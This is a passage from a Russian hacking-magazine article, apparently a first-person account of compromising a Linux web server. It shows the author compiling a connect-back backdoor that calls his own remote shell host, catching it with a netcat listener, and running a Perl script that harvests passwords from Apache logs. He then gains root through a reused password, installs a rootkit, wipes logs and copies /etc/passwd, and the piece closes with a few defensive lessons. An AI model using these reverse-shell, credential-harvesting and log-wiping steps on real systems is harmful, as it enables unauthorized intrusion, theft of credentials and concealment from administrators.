Воскрешение ботнета

_1nf3ct0r_ (dr.pascal@mail.ru)

Хакер, номер #084, стр. 084-072-4

Затем скомпилировал командой gcc /tmp/cbd.c -o /tmp/cbd, и после этого мне оставалось только запустить бэкдор на 31337 порту, а также прописать параметр бэкдора, чтобы он стукнулся на мой итальянский шелл www.xss-shell.it (допустим, его IP-адрес будет 123.456.78.90).

./cbd 123.456.78.90

Затем я запустил на своем итальянском шелле netcat:

[root@italia]# nc -l -p 31337

После этого бэкдор удачно приконнеткился. Для начала я выполнил команду id, в которой говорилось о том, что мои привилегии apache - это то же, что и nobody, затем выполнил команду uname -a и узнал, что это очередная Linux-система, которая, к моему удивлению, была пропатчена - такого я от админа не ожидал :). Порыться в history-файлах (для mysql и интерпретатора bash) не удалось, так как на них стоял атрибут 644. Меня очень привлекла директория root, которая также была закрыта от моих глаз.

[нехорошо получилось]

Получалось как-то нехорошо, ведь в моих целях было пара щелчков мыши и запуск эксплойта, который бы порутал ядро непропатченной системы :). За окном светало, и я все-таки решил поспать.

С утра я заметил директорию /logs, зайдя в которую, я нашел кучу логов Apache, доступных мне для чтения; их размер действительно удивил меня. Перебирать такие файлы вручную - ужаснейший геморрой, поэтому я заюзал скрипт, написанный Sashiks'ом в статье «Университетский хак», в июньском выпуске X. Этот сценарий ищет в каждой строке слово pass и помещает его в отдельный файл:

#!/usr/bin/perl

$dir="/var/apache/logs";

opendir(DIR,$dir)

@a=readdir DIR;

foreach(@a){

print "Searching $_ ... \n";

system("cat $dir/$_ |grep pass>>/tmp/tempfile.txt");

}

print "Done \n";

Думаю, пояснять работу скрипта не надо. Пока скрипт трудился, я усердно пожирал все, что было в холодильнике. Через некоторое время, обратившись к файлу tempfile.txt, я нашел огромное количество пассов, один из которых подходил к админке. Пароль подошел к SSH и к FTP, но этот аккаунт входил в группу wheel, а его пароль, как я убедился, совпадал с рутовым! Таким образом, я получил полный доступ к вражеской машине.

Затем установил на тачку руткит SHV4 от «шкупи хакерс», почистил логи логвайпером для Linux Vanish, удалил палевный шелл, сохранил себе на HDD копию файла /etc/passwd и немного поигрался с захваченной машиной, установив туда прокси :).

[хэппи энд]

А теперь давай сделаем выводы.

Во-первых, XSS-атаки - это не шутка и многие начинающие хакеры и админы просто забивают на эту уязвимость, так как считают ее бесполезной. Я очередной раз доказал, что это не так. Во-вторых, никогда не доверяй ссылкам, которые тебе присылают по почте. Не следует делиться с собеседниками на форумах о том, какой ты используешь браузер, даже если очень хочется потешить самолюбие.

В третьих, логи - лакомый кусочек для хакера, старайтесь ограничить доступ ко ВСЕМ логам. Администратор правильно сделал, что поставил 644 атрибут на все history-файлы. Также не стоит юзать IE, так как все сплоиты, которые находятся в паблике - это 10-20% всех найденных багов в популярном браузере. Никто не спешит раздавать их направо и налево, так как на них зарабатывают немалые деньги.